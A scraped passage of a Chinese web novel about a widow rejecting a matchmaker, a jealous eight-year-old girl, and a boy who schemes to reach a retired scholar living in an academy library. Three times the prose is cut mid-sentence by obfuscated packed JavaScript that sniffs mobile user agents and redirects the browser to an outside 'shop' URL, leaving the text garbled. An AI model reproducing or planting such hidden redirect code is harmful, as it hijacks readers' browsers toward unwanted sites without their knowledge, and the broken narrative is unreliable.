顾氏表面很淡然地啜了一小口茶,心里却已经紧张得砰砰乱跳了,想了想,笑道:“我的依靠就是澜哥儿,再过五六年他读书成才、娶亲成家,我的日子就好过了。” “那你就不想给澜哥儿生个兄弟姐妹互相照拂?”张嫂偷偷瞄了一眼辛知远,神叨叨地跟顾氏说,“男人就那几年有用,再等等,夜里……就不行了!” 顾氏瞪大了眼。 辛知远正在低头喝茶,闻言一口喷出来,赶紧擦擦嘴,手撑着地面站起来:“你们聊,我去找找澜儿,这孩子,一会儿功夫就跑没影了……” 话还没说完,人已经走出好几步了。 “不许走!”张嫂指着辛知远喊道,“有澜哥儿陪她,啥事儿也没有,你给我回来。” 辛知远头也不回,背影看起来像是落荒而逃。 张嫂看着他,又看看顾氏,暗叹了口气。 这俩人,一个装矜持,一个装听不懂,看来她只能打开天窗说亮话了,便抚上顾氏的手道:“月娘,我就直说了,你看你和二郎多合适,你……愿不愿意嫁给二郎?” 该来的终究来了。顾氏屏气不说话,她想了半天也没琢磨出来辛知远的态度,又不好意思问张嫂。有些事不知者无罪,知道了还去做就是明知故犯。 最后她还是决定谁也不得罪,猛地抓住张嫂的手,假哭道:“嫂子啊,我真的不能再嫁啊!澜哥儿他爹临死前狠狠掐住了我的腕子,警告我这辈子若敢再嫁旁人,他就化成厉鬼,从说媒的到娶我的,谁也跑不掉!我真的不想连累嫂子和辛先生啊!” 说完,从袖子里扯出香帕,低头抹起了眼泪,很快帕子就洇湿一片。 张嫂只好拍拍她的肩膀劝慰。顾氏掩面而泣,突然猛地抬头,浑身颤栗着转身,抖手指向前方虚空处。 “夫君,夫君……”顾氏瞪大眼睛,眼中满是不可置信,“夫君是你来了么?你来看我了么?我好想你啊……” 青天白日的,张嫂被她吓得打了个冷颤,颤巍巍侧身瞟了一眼,空荡荡的哪里有人。都说“晌午顶,鬼露影”,顾娘子分明是看见她死去的丈夫的鬼魂了! 张嫂干咽了一口唾沫,不敢再顺着顾氏的目光去看,要不是附近还有十几个游客作伴,她早就抱着衡哥儿撒丫子跑了。 那厢顾氏仍在捂着胸口,伸长胳膊,满眼泪花地呼喊自己的夫君。 张嫂扯扯她的衣角道:“月娘,别哭了,咱再等等,等你夫君转世投胎了再说。” 顾氏瞬间止住哭声,侧头难以置信地看张嫂。 衡哥儿喝完水,又窝在祖母怀里吃了几块糕点,舔着嘴边的碎屑,一颠一颠地跑走了。 辛澜儿和明雪澜放了许久的纸鸢,两人都累极了,这时正蹲在溪边玩水。衡哥儿跑过来,小肉手抓住辛澜儿的胳膊,奶声奶气道:“澜姐姐,你终于有娘亲了。” “什么娘亲呀?”辛澜儿道,“不要提我的伤心事了。” 衡哥儿皱起小眉头,看看明雪澜,又看向辛澜儿:“我祖母说,等那个鬼转世投胎了,就要你爹和他娘成亲,然后你就有娘亲了。” “……你说的是真的?”辛澜儿当即愣在原地。 “嗯!”衡哥儿嗦着自己的食指,用力点头,“你高兴不?” 辛澜儿脸色惨白看向明雪澜,漆黑的眼珠隐隐颤动,那双漂亮的眼睛很快自下而上蒙上了一层薄薄的水雾。 明雪澜心道不妙,还没来得及做些什么,辛澜儿已猛地站起来,转身往吃饭的地方狂奔而去。 明雪澜立刻起身去追,跑了几步,又回头抱起衡哥儿,这么小的孩子独自留在溪边可不行。 等他气喘吁吁地带着衡哥儿跑回去的时候,辛澜儿早已一口气冲到张嫂面前,怒指她道:“你刚才说什么?是不是又要让我爹爹娶亲?” “啊?没…没有啊。”张嫂结结巴巴道。 “你说了,你就是说了!衡哥儿全都告诉我了!”辛澜儿满眼是泪,大声哭嚎,两条胳膊拼命往张嫂身上抡,一副要拼命的架势,“坏蛋!坏蛋!我讨厌你!” 她人虽小,但力气很足,且她站着,连踢带打,张嫂坐着,有力难使。 张嫂避之不及,反应过来时发髻已被辛澜儿打散,右边脸颊带着几道红彤彤的新鲜指痕。她一边抬起胳膊去挡,一边往顾氏怀里缩:“天爷,你干什么啊?!” 顾氏也被辛澜儿突如其来的发疯惊呆了,吓得身子直往后挺,生怕自己如花似玉的脸也遭殃。 还是明雪澜急匆匆过来把辛澜儿拉开的。说是“拉”,其实他刚碰上辛澜儿的胳膊,就被她反手一巴掌狠狠打开。 他到底是个文静的孩子,略弯着腰站在狂躁的辛澜儿旁边,伸手也不是,缩手也不是,手足无措。 她已然疯魔了,比过年的年猪还难按,不管不顾,谁妨碍她发泄她就打谁。 周围的游客很快涌过来看热闹,都在指指点点好奇这孩子干什么呢,还有人猜测她是不是被发病的疯狗咬了,说那样的话可不能贸然去碰,那病会传染,且无药可治。 辛知远被这阵闹哄哄的动静吸引回来,老远就听见辛澜儿哭得撕心裂肺,还以为女儿出了什么事,连忙扒开人群冲进去,直把他吓一大跳!赶紧上前把辛澜儿钳制住,抱到一边。 辛澜儿的手脚还在拼命扑腾,大声号哭,嘴里不清不楚地说着“坏蛋”之类的话。辛知远问:“谁欺负你了?” 辛澜儿哭到说不清楚话,辛知远只好去问明雪澜。明雪澜把衡哥儿方才说的话重复了一遍,张嫂气得咬牙,抓过衡哥儿把他按趴在自己腿上,打他的小屁股:“叫你学舌!叫你学舌!” 衡哥儿早就被吓哭了,挨了打哭得更是震天响。 张嫂连打几下后也匍匐在地大哭,感觉自己十分的委屈丢人:“天爷哟,我不活了!让一个小孩打成这样,我没脸见人喽……” 哭声尖锐刺耳,辛知远脑壳疼,抄起女儿的腿弯把她抱到不远处的石墩上坐下,抽出方帕给她擦眼泪,温声道:“没有那样的事。衡哥儿一句玩笑话就让你哭成这样,羞不羞?” 辛澜儿仰着头哭得上气不接下气,并不接话。 辛知远又道:“还有,你怎么能打张大娘呢?她对你多好,又是你的长辈,你再生气也不能打她啊。” “谁叫她让爹爹娶亲的,她活该!”辛澜儿紧紧攥住父亲的手,呜呜哭道,“爹爹是娘亲的,是我和哥哥的,跟其他人都没有关系,我不许你娶别人!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585157|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛知远蹲在她面前,失笑道:“好,不娶。本来也没打算娶。爹爹陪澜儿一辈子好不好?” 辛澜儿含含糊糊“嗯”了声,搂住爹爹的脖子,如同受伤的小兽般窝在他怀里,小身子哭得一抽一抽的。 明雪澜就站在原处沉默的眺望,眼珠一动不动,脸上的表情看不出丝毫情绪。 围观的人群渐渐散了,张嫂和衡哥儿也哭够了,这场郊游已无法进行下去。明雪澜收拾好食盘,去叫辛知远。 辛澜儿一看见他走过来就把脸扭了过去。明雪澜看见了,问:“先生,澜儿妹妹好些了么?” 辛知远对他笑笑:“没事了,回去罢。” 上马车前,明雪澜犹豫了一会儿,最终还是决定同来时那样与辛家父女同坐。然而辛澜儿瞧见他过来,连忙抓住辛知远的手大声道:“我只想和爹爹一起坐。” 明雪澜脚步停在半途,他抿抿唇,笑道:“我去陪我母亲。” 辛知远很是抱歉地笑笑,暗自叹了口气。 整个下午直到吃完晚饭,辛澜儿都寸步不离的跟着辛知远,再好玩的玩具在她这里失去了趣味,她只想待在爹爹身边,要始终看得到他才安心。 好不容易把她哄睡了,辛知远回到自己房里,在床边点盏油灯看书。夜深人静,房门突然被推开,辛澜儿抱着幼时陪伴她到现在的布老虎,小跑到床前,看他一眼,二话不说就往床上爬。 “我要和爹爹一起睡。”辛澜儿自觉地掀开褥子钻进去。 辛知远知道她黏人的毛病又犯了,头疼起来,睇着她正色道:“辛澜儿,你多大了?” “八岁了。”辛澜儿乖乖道。 “那就该自己睡。”辛知远放下书,伸手要把她抱回去。 “不要不要!”辛澜儿捂紧了被子往床里侧缩,后背紧贴着墙,死活不走的架势。再去拉她,她瘪起嘴随时准备哭。 辛知远没招儿了,自己披衣下床,搬来小杌子坐在床边:“你先睡,我看会儿书。” 辛澜儿乖巧点头,闭上眼酝酿睡意。她怀里抱着布老虎,两只手还要牢牢握住辛知远的手才放心。 直到听见均匀的呼吸声,辛知远才从书本里抬头。昏暗的烛光在黑夜中跳舞,他的脸半明半暗,安静凝望着缩成一团的女儿。 她睡得并不安稳,会突然皱眉,抖一抖身子,喉咙里发出呜呜咽咽的声音。 辛知远抬手理了理她脸庞的碎发,不禁想,她这样敏感脆弱的心思和易受惊的体质到底是天生的还是他养出来的,要长多大才能好呢?以后会不会总是伤心呢?伤心的时候还会像现在这样哭泣吗?到时候有人哄她吗? 他脑子里思绪纷杂,坐在床边默默看着熟睡的女儿,最后帮她掖好被角,亲亲她的额头,起身去儿子房里睡。 # 明雪澜每日下学后总会在书院多待上一个多时辰再回家,这天他却早早回来了,推开门,忽然觉得院子里空荡荡的,事实上应季的鲜花和蔬菜都在顾氏和辛澜儿的精心照顾下成长得繁密茂盛。 他没深思,站在院子里浇菜地,没过一会儿,心里那股异样的感觉越来越强烈。 水瓢里的水淅淅沥沥滴落在地上,他惊觉,原来那个经常在院子里蹦蹦跳跳,缠着他嬉笑玩闹的身影不见了。 他问顾氏:“怎么不见澜儿?” 8. 酸溜溜 2 顾氏正在厨房切菜,闻言回道:“她没来,好几天都没来了。” 说完自己也觉得不对劲,放下菜刀道:“难怪我这几日总是无精打采的,她不在,我还真觉得少了点什么。” 明雪澜垂眸,低声道:“她也许有事。” 翌日,明雪澜下学后便回家来,恰在巷子东边的卢记糕点铺门口遇见了辛澜儿。她手里提着一包糕点,鼓囊囊的嘴里还在吃着卢容仙送给她的零嘴。 四目相对,她看见明雪澜后也停住了脚步,偏着头,两只微翘的杏眼瞪着他,嘴里还在嚼啊嚼。 明雪澜笑着问好:“澜儿妹妹。” 辛澜儿却重重地哼了声,扭头跑进积英巷。 明雪澜的笑容僵在嘴角,带着一肚子疑问归家。顾氏塞给他几个铜板,懒洋洋道:“儿啊,晚上不做饭了,你上街买俩包子吃。”说完揉着额角回屋。 明雪澜追上去问:“母亲哪里不舒服?” “娘没事,恐怕是睡多了,越睡越累。”顾氏摆摆手,“我躺会儿,就不吃饭了,你吃吧。” 明雪澜又问了几句,确认母亲真的没事后,慢悠悠给自己泡了杯绿茶端到院子里。 陈旧的竹椅发出咯吱声响,他向后靠在椅背,半阖眼睛,胳膊搭在两侧的把手上,十指交握于肚腹前。这时节天气微凉,小风吹得人很是清醒,但不至于让人感到寒冷,浓郁的桂花香已经消散,取而代之的是身侧冒着热气的醇厚茶香。 想到桂花,他徐徐睁开眼睛,偏头仰望对面墙外的桂花树冠,双眼如潭,迷蒙,不可捉摸。 许久后他站起身来,敲响了辛家的大门。 只要辛知远在家,一向都是他来开门。仿佛受到某种指引,明雪澜的视线越过他率先看向堂屋,辛澜儿正坐在面对门的位置埋头吃饭,神色依旧,对外面的动静充耳不闻。 辛知远顺着明雪澜的视线,也回头看了眼辛澜儿,特意加大声音道:“是澜哥儿啊,吃饭了么?......没吃啊,那进来一起用饭罢。” 辛澜儿这才有了点动静,掀起眼皮看向并行走来的两个人,不知给了谁一个白眼,又开始专心扒饭。 那厢明雪澜已经走到饭桌前。他这时倒不像平日那样拘礼,不等辛知远开口,他就掀起袍摆大喇喇坐下,脸上满是笑容:“好久不见澜儿妹妹了。” 辛澜儿嘴里塞着满当当的粥菜,闻言一愣,皱眉看他。 明雪澜似乎看不见她眼里露出的古怪,也不在意她有没有搭理自己,依旧笑盈盈的,十分自然地只用右手接过辛知远递来的筷子,夹了几根青菜大口吃起来,连连点头称赞道:“嗯,先生的手艺真是好。”又喝了口粥,惊叹道,“这八宝粥也熬得香浓,澜儿妹妹真是有口福。” 辛知远另拿一双新筷子给明雪澜夹菜,笑道:“那你多吃点。” 辛澜儿的目光来来回回追随着那双筷子,嘴巴撅得越来越高。她突然“啪”地一声拍下筷子,把粥碗往前一推,不悦地瞅着辛知远:“我也要爹爹给我夹菜!” “好好好。”辛知远最近不敢惹她,赶紧往她碗里放了块油润滑嫩的鸡腿肉。 “就一个?”辛澜儿蹙眉指着明雪澜的碗,“爹爹给他夹的菜都堆成山了,却只给澜儿夹一块那么小那么小的肉,爹爹莫非真的要和顾姨成亲,要把他当成亲儿子,不疼澜儿了是不是?” “又来了,唉......”辛知远仰天长叹,“跟你说过多少遍不会再娶亲,你怎地就不信呢?赶紧吃你的饭吧。” “你烦我了是不是?”辛澜儿立时就呜咽呜咽地哭起来,两只肉嘟嘟的小手不住地揉眼睛。 如果可以,辛知远真想跪下来给她磕一个。 真闹心呐。 他赶紧端起盘子往她碗里拨鸡腿肉:“瞧,爹爹又给你夹了这么多肉。”赶在她抬头前连忙把盘子放下,殷勤地问,“这些够不够?要不要再吃点青菜?” 辛澜儿揉眼睛的间隙偷看了一眼碗里堆尖的鸡肉,缓缓点头,又摇摇头。 这是肉够了,不吃菜的意思。 辛知远舒了口气,抹了几把她的眼泪,笑道:“好,吃吧。”转头看着明雪澜,讪讪地道,“澜哥儿也赶快吃。” 明雪澜的目光从辛澜儿身上离开,笑着道:“嗳,吃着呢。” 灵清人饭后惯常喝茶,可以消食解腻。辛知远收拾了碗筷,去厨房洗碗烧水,只留下两个孩子坐在堂屋。 辛澜儿奇怪得很,她把明雪澜当空气,好像很不耐烦看到他,但她吃完饭也不走,还拿了自己的七巧板过来玩,嘴里小声嘟囔着七巧板的玩法,生怕别人不知道似的。 明雪澜仍坐在她的右手边,静静看她用七巧板接连拼出猫狗鱼的形状,笑道:“妹妹好厉害。” 辛澜儿的手顿了顿,朝他那边扫了一眼,又赶紧收回来,口中含糊不清:“那当然了......” 最后她在拼犀牛时犯了难,实在想不起来犀牛长什么样子,犹犹豫豫,用余光瞟了好几眼明雪澜,最后僵着脖子努力维持自己的骄傲,假装自言自语:“犀牛怎么拼啊?” 明雪澜观她脸色:“要不我试试?” “你说你也想玩?”辛澜儿终于正眼看他,“你要是想,我可以勉为其难给你玩,反正我也玩累了。你想玩么?” “想玩呐。” “那好吧,给你。” 辛澜儿把七巧板推到明雪澜面前,然后跳下椅子站在他身侧,两只手扒着他的胳膊,下巴往前凑:“要拼个犀牛出来哦。” 明雪澜偏头,她弯翘的睫毛近在咫尺,根根分明,眼睛像琉璃球一样清澈,鼻头精致小巧,脸颊鼓鼓,尚带有孩童的稚嫩,看得人心中暖意融融。 他不禁放柔了声音:“我拼好犀牛,妹妹能不能不再生我的气?” 辛澜儿也侧头看他,哼道:“我才没有生气。” “没有么?那为何妹妹在街上遇见我时不与我说话,也不到我家里去?回到家看不到妹妹的身影,听不见妹妹的欢声笑语,总觉得少了许多乐趣。妹妹总说最爱与我在一起,难不成都是说来哄我的?” “那是因为你和顾姨要把爹爹从我身边抢走!我才不想搭理你的。” “妹妹实在是误会了。”明雪澜不禁笑了,“我在回程的马车上问过张大娘,说亲一事完全是她自己的主意,我母亲和辛先生皆不知情,只是为了顾及双方情面,拒绝的话婉转而不达其意,才让衡哥儿听错。” 他顿了顿,担心八岁的辛澜儿不理解他话里的意思,便笑道:“我今日可以向妹妹承诺,我母亲和辛先生绝对不会成亲,妹妹可以放心。” “真的?”辛澜儿虽然这样问,但气势已经弱了几分。 爹爹的说法和澜哥哥一样,都将张嫂说亲的事解释为误会,不过她依旧不太放心。 “澜哥哥,你要是骗我,那我再也不会喜欢你了。”辛澜儿认真道。 明雪澜忍俊不禁,单手撑起下巴:“我不骗妹妹,妹妹行行好,喜欢我罢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明雪澜听见后伫立沉思,半晌后方才离去。 午时一刻,书院师生皆前往膳堂用饭,明雪澜避开人流,独自绕到膳堂后厨,寻一棵偏僻处的桑树默然而立,不多时便见两仆人一前一后拎着食盒出来。 明雪澜不远不近地跟在那两人身后,亲眼看见他们走进藏文馆,不一会儿空手出来。 当日酉时下学,学生互相告别归家。彼时十月中旬,天早早黑了,白日喧闹的书院突然寂静无声,百步不见一个人影。 明雪澜怀里抱着书,脚步轻轻跨过藏文馆的门槛。 站在藏文馆门口,纵览全屋。藏文馆分为放置书籍的前堂和存放杂物的后堂。此时前堂空无一人,却点着几盏铜油灯,不多不少,刚好够人视物。 明雪澜默声在前堂走了一圈,确定没有人来过的痕迹。他站定,侧头看去,由前堂通往后堂的六扇菱花隔扇门大敞。四方院子朴素干净,连廊下摆着几盆青绿雅竹,西北角有棵柿子树,正挂着橙黄色的果子,夜色下好似一盏盏小油灯。 他默不作声地看,眼角忽然闪过一抹黑影。他猛地一惊,就见那黑影沿着风雨连廊匆匆飘来,待那黑影近了,定睛一看,原是个十二三岁的蓝衣少年,漂亮得不成样子。 那少年乍然看见明雪澜,也被唬了一跳,惊叫一声,指着明雪澜放声斥道:“你是何人,在此作甚?!” 9. 酸溜溜 3 明雪澜拍掉赵洁的手,反问道:“你又是何人,又在此作甚?” 赵洁的手重新指向明雪澜:“问你话你就答,休要扯东扯西!” “我穿的是书院的学服,自然是书院的学子。” 赵洁这才放下手,粗略地上下扫一遍明雪澜。 天青色竹纹襕衫,软巾垂带,身姿端正,是个模样俊俏的小书生。 纵然如此,赵洁对他也没有好脸色,挥袖道:“天那么黑,谁知道你穿的是什么。快走,这里不许人来。” 说着就从明雪澜身旁走过,半路抄起一盏铜油灯,在各个书架间穿梭。 “在找什么书?”明雪澜慢步走过去,“我帮你。” 赵洁斜了他一眼,那眼神分明是不屑搭理他的。 明雪澜全当没看见,又问:“你说的是官话,京城来的吗?” 赵洁停下手上的动作,睨着明雪澜道:“但凡会说官话,都是从京城来的?” 句句带刺,明显不想和明雪澜多言。明雪澜倒脸色如常,赵洁已持灯去了别处找书,手上的动作愈发急切,显然是对这里不熟悉,许久找不见自己想要的。 “嗳!”赵洁神情急躁,探头问明雪澜,“你方才说要帮我找书,还算不算数?” 明雪澜含笑道:“算数。”走过去问,“什么书?” 赵洁道:“《史记》,从项羽本纪到吴太伯世家那部分,要没有编注的。” “知道了。”明雪澜轻车熟路地走到东面的靠墙书架,踮起脚,从第二排取下厚厚一本蓝皮书。 他把书放在手里翻了几页,又合上,然后把它塞到自己的书中间,接着一边继续翻书架,一边提高声音道:“《史记》在这边,不过正好没有你要的那部分。” 赵洁循声而来,也仔细翻找了一遍,自然没有找到,神情顿时有些焦急:“完了完了,先生……哦不,我是说我,我若是没有看到想看的书,今晚怕是难以入睡了。” “竟是这样么?我倒没有看出来。”明雪澜笑道。 “你什么意思?”赵洁瞪眼道。 “没什么。”明雪澜依旧微笑着,看起来十分好说话,“我那里倒是有一本《史记》,就在书院学堂里,若你着急要,我这就拿来。” “真的?”赵洁眼眸发亮,抓起明雪澜的胳膊,“那我与你去取。” 明雪澜被他扯得疾走几步,用了点力气才停下,笑道:“我去取就行。” 赵洁本来也不想离开藏文馆,不然又要挨骂。他很高兴,催道:“那你快去快去,我在这里等你。” 明雪澜笑笑,转身步入夜色里,不到一刻钟便拿着书,气喘吁吁地回来了。 赵洁接过书,喜不自胜,也不翻开确认,只道:“谢了,这书我买了,多少钱?” 明雪澜也是没料到他要买书,但很快面不改色地道:“这是我珍藏的孤本,不能卖。我每日酉时下学后便会来这里看书,你何时看完,何时还我就好。” “哦……欸?那我怎么从没见过你呢?” 明雪澜脸色不变:“我明日才开始过来。” “哦……”赵洁把书卷成筒状,放在手里敲了敲,“行吧,那我先走了,你随便转转,多谢啊。” 明雪澜目送他跳过门槛,身影消失在连廊拐角。他又站了会儿,方才离去。 第二日,明雪澜刚到藏文馆就被人从背后偷袭,一条胳膊紧紧锁住了他的脖子。 “好你个明雪澜,胆敢算计我!” 明雪澜扯着那人的胳膊艰难喘气:“我没有。” 赵洁顶着一张怒脸,手上愈发用力:“那本《史记》明明就是藏文馆的,你却说是你自己的。这就算了,你居然把自己写的策论偷偷放进去,上面还明晃晃写着你的名字。你是不是早就知道先生住在藏文馆后堂?故意让他看到你的策论,想让先生夸你好文采,收你作学生是不是?好歹毒的心思!” “我没有,你先放开我。”明雪澜快要喘不过气,赶紧去拍赵洁的胳膊。 明雪澜的皮肤过于白皙细嫩,眼下因呼吸困难更是憋红了脸。赵洁放开他,低头拍打自己的衣袖,斜瞪着他:“你最好给我解释清楚!” 明雪澜弯腰猛咳,脸色愈加发红。等缓过劲来,他站直道:“你怎么知道那本《史记》不是我的?” 赵洁挽起双臂,得意道:“你以为自己的手段很高明吗?殊不知,先生一眼就看穿了。” “先生说,《史记》距今一千四百多年,文字艰涩难懂,可这本书整洁干净,并无读书时留下的注解心得,可见要么没有用心研读,要么这书是别人的,你不能在上面写字。” “二来,你这个年纪,四书五经、八股写作,《九章算术》尚要艰难应对,哪有多余的时间和精力去读《史记》,夫子们也不会让你读。” 赵洁贴近明雪澜,眯起眼睛道:“更别提你把自己的策论夹带进去,简直是狼子野心昭然若揭!” “原来是这样发现的。”明雪澜反而笑了,“你说的先生是谁?好生厉害。” 赵洁这才意识到不妙,他以为明雪澜发现了宋老先生的行踪特来骚扰。但其实明雪澜自始至终没有提到过先生,反而是他自己一口一个先生暴露了事实。 不过他没指名道姓,明雪澜应当不知道他口中的先生是谁。 可明雪澜何许人也,人畜无害的长相完全遮盖了内里弯弯绕绕的小心思。他又何等机敏,知道观察膳堂后厨的动向,跟着送餐的仆人一路寻到藏文馆。 馆里一定有人,但不能确定是谁,所以他把自己的策论放进那本《史记》里,想看看赵洁的反应。 如他所想,赵洁是个头脑简单的急性子,担心他打搅先生而大发雷霆,嘴快把什么都说了。 赵洁心念电转,结结巴巴道:“关…关你什么事儿,不该问的别问!” 明雪澜不想操之过急,假装不知情,表情很是懵懂:“是不是宋山长住在后堂?”一时间神色略显忧虑,“最近也不知是何缘故,好多人来书院找山长,想必山长不堪其扰,干脆搬到藏文馆寻清静罢。” “对对对!” 真是瞌睡有人送枕头。赵洁找到了救赎,凑到明雪澜耳畔,递给他一个警告的眼神:“山长说了,此事不许外传,你记住。” 明雪澜连忙道:“我一定守口如瓶,况且说出去对我也没有什么益处。” 又笑问:“你我也算认识了,可我尚不知兄台名讳,可否告知?” “我名赵洁,年十二。” “你我同龄,真是缘分!”明雪澜的表情很是欣喜,“我在江苏淮安长大,前不久才与家母搬到灵清来。” 赵洁没有细问,挑眉道:“人道江南美少年,果然名不虚传。” 明雪澜笑道:“比之赵兄稍逊色也。” 两厢对视,青葱少年的笑声皆爽朗悦耳。 明雪澜道:“怪不得我昨日写的策论不见了,原来在那本《史记》里。唉,方才堂上交不出来,挨了夫子好一顿骂。” “活该!”赵洁哈哈大笑,“先生……山长以为我泄露了他的行踪,把我骂得狗血淋头,没想到你也挨骂了。你害人害己,活该哈哈哈哈哈……” 无聊逗他开心罢了。明雪澜没忍心告诉他,自己其实早就重写了策论,不仅没挨骂,夫子还当堂夸赞他文采 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585159|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斐然,行文严谨,大笔一挥,批了个甲等。 两个同龄少年相谈甚欢,赵洁毫不避讳地说自己是被人捡来的孩子。 他这些日子跟着宋老先生躲在藏文馆,日子很无聊。老先生除了睡觉吃饭就是看书写文章,有时让他来前堂帮忙找书,其余时间无暇搭理他。 偏偏赵洁还不爱看书,他天天睡大觉,醒来就在院子里挖土揪草,翘着二郎腿躺在美人靠上,嘴里衔着狗尾巴草,偶尔抱着廊柱对着远方凄凄惨惨伤春悲秋,好似自己是被强掳来的小娘子。 有多心酸暂且不表,总之他很乐意认识明雪澜这个朋友。 谁会不喜欢明雪澜呢? 十二岁的花样少年,皮肤亮如白瓷,模样没得挑,笑起来有两个暖暖的小梨涡。他的身条像竹柳一样修长挺拔,气质沉静,目光坦然,眼神偶尔露出稍纵即逝的伶俐狡黠,却不叫你知道。 他是内敛的,但也有孩子气的调皮,大都显现在语言上,突如其来的幽默,总能一本正经地说出让人意想不到的笑话。 他读过许多书,知礼守礼,从他走南闯北的商人父亲那里听到过许多奇人异事,所以也可以说他见过许多世面。无论旁人如何谈天论地,他总是耐心听,适时地接上几句,不会抢人风头,也听得人舒心,让人发自内心地夸赞他漂亮和善有才气。 赵洁与他很合得来,时常对坐畅谈。赵洁是个快嘴巴,一有新鲜事就会迫不及待地和宋老先生分享,譬如:“他与我同岁,家中只有一个母亲,母子俩是被亲戚占了家产赶出来的,好可怜。” “......不过他很乐观,不卑不亢,也没有自怨自艾,这样的人我喜欢。” “藏文馆里好冷啊,他却能坐上两个多时辰。我问他为什么不回家,他笑着说因为家里也没有炭火,而且他在藏文馆里读书既省了买书钱,也省了买烛火的钱。” “他读书很刻苦,字也写得很漂亮,毫不夸张地说,完全可以和先生您媲美呢。” 宋老先生表面在看书饮茶,全然不在意的样子,实则他的耳朵很灵光,将赵洁的话一字不落地全听了进去。 他的年纪大了,只想安度晚年,却总是喜欢回忆从前。 他是家中长子,下面有很多兄弟姊妹,日子过得紧巴。然而他天资聪颖,运道也好,受过许多人的恩惠,多年苦学连中三元,一路披荆斩棘平步青云。如今朝堂波云诡谲,两党相争,都把主意打到他这个两朝重臣的身上,说是告老还乡,其实是激流勇退。 赵洁口中的明雪澜与他少年时很像——家贫,坦荡,刻苦,书读得好,字写得漂亮。还有那篇夹在《史记》里的策论,条理清晰,引经据典,至今仍放在他的桌边。 那位明小郎君也是聪明且沉得住气的,肯定已经猜到他住在藏文馆后堂,但假装不知,不曾冒昧打扰,所以他一直没有搬走。 宋老先生有许多藏书,包括藏文馆没有的孤本。赵洁有时会从他这里借书给明雪澜看,送回来的时候书本依旧整洁如新,还会随书附上几页心得感悟。 有一句写的是:人怜项羽,我怜虞姬。宋老先生感到有趣,摸着下巴,含笑看得津津有味。 宋老先生也不知道自己何时成为了明雪澜见不到面的夫子。 他让赵洁把明雪澜的课业拿给他看,起初真的只是看一看,后来忍不住会写上几句批语。再后来,他每隔两天择一篇文选或出一道题目给明雪澜,两人各抒己见,在纸上你来我往地辩论。 因宋老先生这项多出来的课业,明雪澜很劳累,但累得开心,累得满足。 顾氏却担心他身体吃不消,趁他旬休在家,中午炖了人参乌鸡汤。 10. 酸溜溜 4 那碗乌鸡汤端到明雪澜面前,他胃里顿时一阵翻涌。 这也不能怪他。顾氏为了给他养身体,已经亲手扼杀了三只老母鸡、两只乌鸡,六条鱼和数不清的鸡蛋,他已经快吃吐了。 虽然补身体这事没得商量,但明雪澜还是挣扎道:“我、我守孝呢,不能再吃荤了。” 顾氏剜他一眼,不乐意道:“你爹要是见你读书那么辛苦还只能吃那没味道的绿叶菜,他比我还心疼呢。”说着又把那碗乌鸡汤往他面前推,“快喝,咱们关起门来自己吃,没旁人知道。” “我不要。我不想吃。” “你吃不吃?”顾氏啪地一声放下筷子,扭过身子,“你不吃我也不吃了,咱娘俩,干脆饿死!” 还能怎么办呢? 明雪澜苦着脸,端碗的手有些颤抖,狠了狠心,一口气灌嘴里。 味道很怪,还不如直接饿死。 顾氏却满意得不行,美滋滋地又给明雪澜盛了一碗。 明雪澜只觉得那鸡汤都溢到喉咙眼了,又腻又咸,是真喝不下去。 他正想办法推辞,熟悉的敲门声忽然响起,紧接着大门被人推开。 顾氏吓得一哆嗦,甚至来不及思考来人是谁,连忙把明雪澜的那碗鸡汤端到自己面前。 “顾姨我来啦!” 辛澜儿已经把这里当作她第二个家,轻车熟路地跑进来,目光瞬间被满桌子的大鱼大肉吸引,“哇”地一声惊叹道:“好香,顾姨,什么菜这么香啊?” 她岂能看不出来都是什么菜?故意装不知道,想让人留她这个小馋猫吃饭罢了。 顾氏笑得有些心虚:“都是家常菜,澜姐儿吃饭了么?没吃的话坐下一起吃。” “那多麻烦啊。”辛澜儿害羞地笑,“不过我还真的没有吃饭。” 顾氏嗔道:“行了,客气什么,自己去拿副碗筷。” “欸!”辛澜儿欢欢喜喜跑去厨房,回来时不忘埋怨辛知远,“我爹爹近日懒得很,总让我吃馒头咸菜,我真的好生气。” 她边说边夹起一块清炖排骨,那动作十分的迫不及待。然而刚吃下去,表情立马就不对劲了,就好像那猪刚在她面前自尽了一般,漫天的腥骚气扑过来,臭烘烘的猪味。 她悻悻地放下筷子,扬起脸对满脸期待的顾氏勉强笑道:“好吃……保留了猪肉最纯正的风味……” 明雪澜坐在她对面,把她吃排骨时的细微表情尽收眼底,没忍住,低下头闷闷地笑。 而顾氏原本担心自己做的菜不合辛澜儿的口味,听她说好吃,高兴得把那盘红烧鲤鱼端到辛澜儿面前,道:“再尝尝这鱼。” “好。”辛澜儿挑起一小块鱼肚肉,这里的鱼肉最嫩,味道总不会出错的。 不料她嚼了几下,眉头渐渐皱起——苦的,鱼肚里面的黑色腹膜没有清理干净,与胆汁一样苦,说不定还有毒。 